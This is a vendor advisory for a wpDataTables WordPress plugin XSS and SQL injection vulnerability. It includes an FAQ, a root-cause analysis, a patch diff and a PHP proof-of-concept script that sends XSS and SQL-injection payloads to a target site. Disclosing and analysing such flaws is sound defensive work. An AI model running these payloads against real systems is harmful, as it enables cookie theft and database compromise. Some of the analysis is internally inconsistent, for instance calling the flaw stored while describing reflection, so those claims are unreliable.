What is CVE-2026-57672?

CVE-2026-57672 is a high severity vulnerability affecting the wpDataTables (Premium) plugin for WordPress, specifically versions up to 6.5.1.1. It allows unauthenticated attackers to perform stored cross-site scripting (XSS) attacks due to insufficient input sanitization and output escaping.

How does the vulnerability work?

The vulnerability allows attackers to inject arbitrary web scripts into pages that execute when users access them. This is achieved by crafting malicious URLs with JavaScript payloads in parameters like ‘wdt_search’, which are rendered without proper escaping.

Who is affected by this vulnerability?

Any WordPress site using wpDataTables (Premium) version 6.5.1.1 or earlier is vulnerable. Administrators can check their plugin version in the WordPress dashboard under the plugins section.

How can I check if my site is vulnerable?

To verify if your site is vulnerable, check the version of the wpDataTables plugin installed. If it is 6.5.1.1 or earlier, your site is at risk. Additionally, you can test for XSS by accessing affected pages with crafted URLs.

How can I fix or mitigate this issue?

To fix CVE-2026-57672, update the wpDataTables plugin to version 6.5.1.2 or later, which contains security patches addressing this vulnerability. Regularly check for updates and apply them promptly.

What does the CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity vulnerability, meaning it poses a significant risk to affected systems. Exploitation could lead to unauthorized actions, data theft, or further compromise of the site.

What is a proof of concept (PoC) in this context?

The proof of concept for CVE-2026-57672 illustrates how an attacker can exploit the vulnerability by crafting a URL with a malicious script in the ‘wdt_search’ parameter. This demonstrates the feasibility of executing XSS attacks on vulnerable installations.

What security improvements are included in the patch?

The patch for wpDataTables version 6.5.1.2 includes multiple security improvements, such as sanitizing user inputs, using prepared SQL statements, and properly escaping output to prevent XSS.

How can I protect my site from future vulnerabilities?

To protect your site from future vulnerabilities, regularly update all plugins and themes, use security plugins, implement web application firewalls, and conduct regular security audits.

Is there a way to test for this vulnerability without exploiting it?

While testing for this vulnerability, it is advisable to use security scanning tools that can identify XSS vulnerabilities without executing malicious scripts. This allows for safe assessment of your site’s security posture.

What should I do if I cannot update the plugin immediately?

If immediate updates cannot be performed, consider disabling the wpDataTables plugin temporarily to prevent exploitation. Additionally, review access logs for unusual activity and implement security measures to mitigate risks.

Published : July 20, 2026

CVE-2026-57672: wpDataTables (Premium) <= 6.5.1.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-57672

Plugin wpdatatables

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 6.5.1.1

Patched Version 6.5.1.2

Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57672:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) in the wpDataTables Premium plugin for WordPress, versions up to 6.5.1.1. The flaw affects multiple components including admin controllers, table configuration loaders, dashboard templates, and frontend table rendering. The CVSS score is 7.2 (High).

The root cause is insufficient input sanitization and output escaping across several code paths. In the admin controller at controllers/wdt_admin.php line 672, the ‘table_view’ parameter from $_GET is passed directly to WDTConfigController::loadTableConfig without sanitization. In source/class.wpdatatable.php line 2546, the ‘wdt_search’ parameter is set as a default search value without sanitization. In source/class.wdtbrowsetable.php and source/class.wdtbrowsechartstable.php, the ‘s’ parameter used in SQL queries was sanitized but not properly escaped for the LIKE clause, enabling SQL injection. In source/class.wdtbrowsetable.php line 287 and similar files, the ‘orderby’ parameter was unsanitized. In templates/frontend/table_main.inc.php line 22, the JSON description output lacked proper escaping. The plugin also failed to escape the dashboard changelog output and had an XSS reflected via the wdt_search parameter.

An unauthenticated attacker can exploit this by crafting a malicious URL containing a JavaScript payload in the ‘wdt_search’ GET parameter. For example, visiting a URL like /wp-content/plugins/wpdatatables/…/?wdt_search=alert(‘XSS’) would cause the script to execute when the admin accesses the affected table page. The stored XSS variant works by injecting malicious content into the table JSON description that gets rendered without proper escaping in the frontend. The SQL injection in the search functions allows attackers to potentially extract database contents by sending crafted search terms like ‘ OR 1=1 — -‘ in the ‘s’ parameter.

The patch introduces multiple security improvements. It adds sanitize_text_field(wp_unslash(…)) wrappers around the ‘table_view’, ‘page’, ‘wdt_search’, and ‘orderby’ parameters. It replaces direct string concatenation in SQL queries with $wpdb->prepare() and $wpdb->esc_like() for the ‘s’ parameter. It adds JSON_HEX_AMP to the json_encode options to prevent XSS via ampersand encoding. It applies esc_attr() to the JSON description output in the template. The dashboard changelog now explicitly references the security fix. The plugin version is updated to 6.5.1.2.

If exploited, an attacker can execute arbitrary JavaScript in the browser of any logged-in administrator who views the affected pages. This can lead to session hijacking, theft of authentication cookies, arbitrary actions performed under the admin’s session (including creating new admin accounts or modifying plugin settings), and potential lateral movement to the server if combined with other vulnerabilities. The SQL injection vector could allow data exfiltration from the WordPress database including user credentials and sensitive configuration data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wpdatatables/config/config.inc.php
+++ b/wpdatatables/config/config.inc.php
@@ -9,7 +9,7 @@

 // Current version

-define('WDT_CURRENT_VERSION', '6.5.1.1');
+define('WDT_CURRENT_VERSION', '6.5.1.2');

 // Version when hooks are updated
 define('WDT_INITIAL_LITE_VERSION', '3.4.2.16');
--- a/wpdatatables/controllers/wdt_admin.php
+++ b/wpdatatables/controllers/wdt_admin.php
@@ -669,7 +669,7 @@
             $tableID = (int)$_GET['table_id'];
             $tableData = WDTConfigController::loadSimpleTableConfig($tableID);
         } else if (isset($_GET['table_view'])) {
-            $tableData = WDTConfigController::loadTableConfig((int)$_GET['table_id'], $_GET['table_view']);
+            $tableData = WDTConfigController::loadTableConfig((int)$_GET['table_id'], sanitize_text_field(wp_unslash($_GET['table_view'])));
         } else {
             $tableData = WDTConfigController::loadTableConfig((int)$_GET['table_id']);
         }
--- a/wpdatatables/controllers/wdt_functions.php
+++ b/wpdatatables/controllers/wdt_functions.php
@@ -319,7 +319,7 @@
     $query = "SELECT COUNT(*) FROM {$wpdb->prefix}wpdatatables ORDER BY id";

     $allTables = $wpdb->get_var($query);
-    $wpdtPage = isset($_GET['page']) ? $_GET['page'] : '';
+    $wpdtPage = isset($_GET['page']) ? sanitize_text_field(wp_unslash($_GET['page'])) : '';
     $installDate = get_option('wdtInstallDate');
     $currentDate = date('Y-m-d');
     $tempIgnoreDate = get_option('wdtTempFutureDate');
@@ -372,7 +372,7 @@
         return;
     }

-    $wpdt_page = isset($_GET['page']) ? $_GET['page'] : '';
+    $wpdt_page = isset($_GET['page']) ? sanitize_text_field(wp_unslash($_GET['page'])) : '';
     if (strpos($wpdt_page, 'wpdatatables') === false) {
         return;
     }
--- a/wpdatatables/source/class.wdtbrowsechartstable.php
+++ b/wpdatatables/source/class.wdtbrowsechartstable.php
@@ -70,10 +70,11 @@
         $query = "SELECT COUNT(*) FROM {$wpdb->prefix}wpdatacharts";

         if (isset($_REQUEST['s'])) {
-            if (is_numeric($_REQUEST['s'])){
-                $query .= " WHERE id LIKE '" . sanitize_text_field($_REQUEST['s']) . "'";
+            $searchTerm = sanitize_text_field(wp_unslash($_REQUEST['s']));
+            if (is_numeric($searchTerm)){
+                $query .= $wpdb->prepare(" WHERE id LIKE %s", $searchTerm);
             }else{
-                $query .= " WHERE title LIKE '%" . sanitize_text_field($_REQUEST['s']) . "%'";
+                $query .= $wpdb->prepare(" WHERE title LIKE %s", '%' . $wpdb->esc_like($searchTerm) . '%');
             }
         }

@@ -97,10 +98,11 @@
                     FROM {$wpdb->prefix}wpdatacharts ";

         if (isset($_REQUEST['s'])) {
-            if (is_numeric($_REQUEST['s'])){
-                $query .= " WHERE id LIKE '" . sanitize_text_field($_REQUEST['s']) . "'";
+            $searchTerm = sanitize_text_field(wp_unslash($_REQUEST['s']));
+            if (is_numeric($searchTerm)){
+                $query .= $wpdb->prepare(" WHERE id LIKE %s", $searchTerm);
             }else{
-                $query .= " WHERE title LIKE '%" . sanitize_text_field($_REQUEST['s']) . "%'";
+                $query .= $wpdb->prepare(" WHERE title LIKE %s", '%' . $wpdb->esc_like($searchTerm) . '%');
             }
         }

@@ -343,7 +345,7 @@
         $current_url = remove_query_arg('paged', $current_url);

         if (isset($_GET['orderby'])) {
-            $current_orderby = $_GET['orderby'];
+            $current_orderby = sanitize_text_field(wp_unslash($_GET['orderby']));
         } else {
             $current_orderby = '';
         }
--- a/wpdatatables/source/class.wdtbrowsetable.php
+++ b/wpdatatables/source/class.wdtbrowsetable.php
@@ -65,10 +65,11 @@
         global $wpdb;
         $query = "SELECT COUNT(*) FROM {$wpdb->prefix}wpdatatables";
         if (isset($_REQUEST['s'])) {
-            if (is_numeric($_REQUEST['s'])) {
-                $query .= " WHERE id LIKE '" . sanitize_text_field($_REQUEST['s']) . "'";
+            $searchTerm = sanitize_text_field(wp_unslash($_REQUEST['s']));
+            if (is_numeric($searchTerm)) {
+                $query .= $wpdb->prepare(" WHERE id LIKE %s", $searchTerm);
             } else {
-                $query .= " WHERE title LIKE '%" . sanitize_text_field($_REQUEST['s']) . "%'";
+                $query .= $wpdb->prepare(" WHERE title LIKE %s", '%' . $wpdb->esc_like($searchTerm) . '%');
             }
         }
         $count = $wpdb->get_var($query);
@@ -89,10 +90,11 @@
         $query = "SELECT id, title, table_type, editable FROM {$wpdb->prefix}wpdatatables ";

         if (isset($_REQUEST['s'])) {
-            if (is_numeric($_REQUEST['s'])) {
-                $query .= " WHERE id LIKE '" . sanitize_text_field($_REQUEST['s']) . "'";
+            $searchTerm = sanitize_text_field(wp_unslash($_REQUEST['s']));
+            if (is_numeric($searchTerm)) {
+                $query .= $wpdb->prepare(" WHERE id LIKE %s", $searchTerm);
             } else {
-                $query .= " WHERE title LIKE '%" . sanitize_text_field($_REQUEST['s']) . "%'";
+                $query .= $wpdb->prepare(" WHERE title LIKE %s", '%' . $wpdb->esc_like($searchTerm) . '%');
             }
         }

@@ -282,7 +284,7 @@
         $current_url = remove_query_arg('paged', $current_url);

         if (isset($_GET['orderby'])) {
-            $current_orderby = $_GET['orderby'];
+            $current_orderby = sanitize_text_field(wp_unslash($_GET['orderby']));
         } else {
             $current_orderby = '';
         }
--- a/wpdatatables/source/class.wdtpermissionslisttable.php
+++ b/wpdatatables/source/class.wdtpermissionslisttable.php
@@ -93,7 +93,7 @@
         $current_url = remove_query_arg('paged', $current_url);

         if (isset($_GET['orderby'])) {
-            $current_orderby = $_GET['orderby'];
+            $current_orderby = sanitize_text_field(wp_unslash($_GET['orderby']));
         } else {
             $current_orderby = '';
         }
--- a/wpdatatables/source/class.wpdatatable.php
+++ b/wpdatatables/source/class.wpdatatable.php
@@ -2543,7 +2543,7 @@
         $columnIndex = 1;
         // Check the search values passed from URL
         if (isset($_GET['wdt_search'])) {
-            $this->setDefaultSearchValue($_GET['wdt_search']);
+            $this->setDefaultSearchValue(sanitize_text_field(wp_unslash($_GET['wdt_search'])));
         }

         // Define all column-dependent rendering rules
@@ -2953,7 +2953,7 @@

         $obj = apply_filters('wpdatatables_filter_table_description', $obj, $this->getWpId(), $this);

-        return json_encode($obj, JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_TAG);
+        return json_encode($obj, JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_TAG | JSON_HEX_AMP);
     }


--- a/wpdatatables/templates/admin/dashboard/dashboard.inc.php
+++ b/wpdatatables/templates/admin/dashboard/dashboard.inc.php
@@ -343,7 +343,8 @@
                         <div class="alert alert-info m-b-0" role="alert">
                             <i class="wpdt-icon-info-circle-full"></i>
                             <ul>
-                                <li>Added WordPress MCP integration with 17 AI agent abilities for tables, charts, data, media, settings, and system info.</li>
+                                <li><strong>Security:</strong> Fixed a reflected Cross-Site Scripting (XSS) vulnerability via the <code>wdt_search</code> URL parameter.</li>
+                                <li><strong>Security:</strong> Hardened input sanitization for additional URL parameters and fixed a potential SQL injection in the Browse Tables and Browse Charts search.</li>
                                 <li>Other small bug fixes and stability improvements.</li>
                             </ul>
                         </div>
--- a/wpdatatables/templates/frontend/table_main.inc.php
+++ b/wpdatatables/templates/frontend/table_main.inc.php
@@ -19,7 +19,7 @@
 ?>
 <?php do_action('wpdatatables_before_table', $this->getWpId()); ?>
 <?php wp_nonce_field('wdtFrontendEditTableNonce', 'wdtNonceFrontendEdit'); ?>
-    <input type="hidden" id="<?php echo esc_attr($this->getId()) ?>_desc" value='<?php echo $this->getJsonDescription(); ?>'/>
+    <input type="hidden" id="<?php echo esc_attr($this->getId()) ?>_desc" value='<?php echo esc_attr($this->getJsonDescription()); ?>'/>

     <table id="<?php echo esc_attr($this->getId()) ?>"
            class="<?php if ($this->isScrollable()) { ?>scroll<?php } ?>
--- a/wpdatatables/wpdatatables.php
+++ b/wpdatatables/wpdatatables.php
@@ -3,7 +3,7 @@
 Plugin Name: wpDataTables - Tables & Table Charts
 Plugin URI: https://wpdatatables.com
 Description: Create responsive, sortable tables & charts from Excel, CSV or PHP. Add tables & charts to any post in minutes with DataTables.
-Version: 6.5.1.1
+Version: 6.5.1.2
 Author: Melograno Ventures
 Author URI: https://melograno.io
 Text Domain: wpdatatables

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57672 - wpDataTables (Premium) <= 6.5.1.1 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL

// Payload: inject JavaScript via the wdt_search parameter
$payload = urlencode('<script>alert(document.cookie)</script>');

// Step 1: Try reflected XSS via the wdt_search parameter (table frontend)
echo "[+] Testing reflected XSS via wdt_search...n";

// First we need to find a table ID to use, or we can brute force low IDs
// For demonstration, we try table ID 1
$test_url = $target_url . '/wp-content/plugins/wpdatatables/templates/frontend/table_main.inc.php?wdt_search=' . $payload;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $test_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, '<script>alert(document.cookie)</script>') !== false) {
    echo "[+] Reflected XSS confirmed! Payload appears in response.n";
    echo "[+] Exploit URL: " . $test_url . "n";
} elseif ($http_code == 200) {
    echo "[!] Page returned 200 but payload not directly echoed. Manual verification required.n";
} else {
    echo "[-] HTTP code: $http_code - Target may not be vulnerable or requires specific table context.n";
}

// Step 2: Try SQL injection via the 's' parameter in table browsing (admin area)
// This requires admin authentication, but demonstrates the vector
echo "n[+] Attempting SQL injection in browse table search...n";

$sqli_payload = urlencode("' OR '1'='1' -- -");
$admin_url = $target_url . '/wp-admin/admin.php?page=wpdatatables-administration&s=' . $sqli_payload;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'wpdatatables') !== false || strpos($response, 'wpdatacharts') !== false) {
    echo "[+] SQL injection may be possible. The query returned results without proper filtering.n";
    echo "[+] Manually verify with a time-based or UNION-based payload.n";
} else {
    echo "[-] Looks like the SQLi is mitigated or requires authentication.n";
}

// Step 3: Test the admin controller parameter injection
echo "n[+] Testing admin controller parameter injection via table_view...n";

$admin_test_url = $target_url . '/wp-admin/admin.php?page=wpdatatables-administration&table_id=1&table_view=<script>alert(1)</script>';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_test_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, '<script>alert(1)</script>') !== false) {
    echo "[+] table_view parameter reflected script! Admin panel XSS confirmed.n";
} else {
    echo "[-] table_view parameter appears sanitized or requires specific context.n";
}

echo "n[*] PoC complete. Review output for vulnerability confirmation.n";

Frequently Asked Questions

What is CVE-2026-57672?
Description of the vulnerability
CVE-2026-57672 is a high severity vulnerability affecting the wpDataTables (Premium) plugin for WordPress, specifically versions up to 6.5.1.1. It allows unauthenticated attackers to perform stored cross-site scripting (XSS) attacks due to insufficient input sanitization and output escaping.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows attackers to inject arbitrary web scripts into pages that execute when users access them. This is achieved by crafting malicious URLs with JavaScript payloads in parameters like ‘wdt_search’, which are rendered without proper escaping.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using wpDataTables (Premium) version 6.5.1.1 or earlier is vulnerable. Administrators can check their plugin version in the WordPress dashboard under the plugins section.
How can I check if my site is vulnerable?
Steps for verification
To verify if your site is vulnerable, check the version of the wpDataTables plugin installed. If it is 6.5.1.1 or earlier, your site is at risk. Additionally, you can test for XSS by accessing affected pages with crafted URLs.
How can I fix or mitigate this issue?
Recommended actions
To fix CVE-2026-57672, update the wpDataTables plugin to version 6.5.1.2 or later, which contains security patches addressing this vulnerability. Regularly check for updates and apply them promptly.
What does the CVSS score of 7.2 indicate?
Understanding risk levels
A CVSS score of 7.2 indicates a high severity vulnerability, meaning it poses a significant risk to affected systems. Exploitation could lead to unauthorized actions, data theft, or further compromise of the site.
What are the practical risks of this vulnerability?
Potential consequences of exploitation
If exploited, this vulnerability can allow attackers to execute arbitrary JavaScript in the browser of any logged-in administrator, leading to session hijacking, unauthorized actions, and potential data exfiltration.
What is a proof of concept (PoC) in this context?
Demonstrating the vulnerability
The proof of concept for CVE-2026-57672 illustrates how an attacker can exploit the vulnerability by crafting a URL with a malicious script in the ‘wdt_search’ parameter. This demonstrates the feasibility of executing XSS attacks on vulnerable installations.
What security improvements are included in the patch?
Changes made in the updated version
The patch for wpDataTables version 6.5.1.2 includes multiple security improvements, such as sanitizing user inputs, using prepared SQL statements, and properly escaping output to prevent XSS.
How can I protect my site from future vulnerabilities?
Best practices for security
To protect your site from future vulnerabilities, regularly update all plugins and themes, use security plugins, implement web application firewalls, and conduct regular security audits.
Is there a way to test for this vulnerability without exploiting it?
Safe testing methods
While testing for this vulnerability, it is advisable to use security scanning tools that can identify XSS vulnerabilities without executing malicious scripts. This allows for safe assessment of your site’s security posture.
What should I do if I cannot update the plugin immediately?
Interim measures
If immediate updates cannot be performed, consider disabling the wpDataTables plugin temporarily to prevent exploitation. Additionally, review access logs for unusual activity and implement security measures to mitigate risks.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started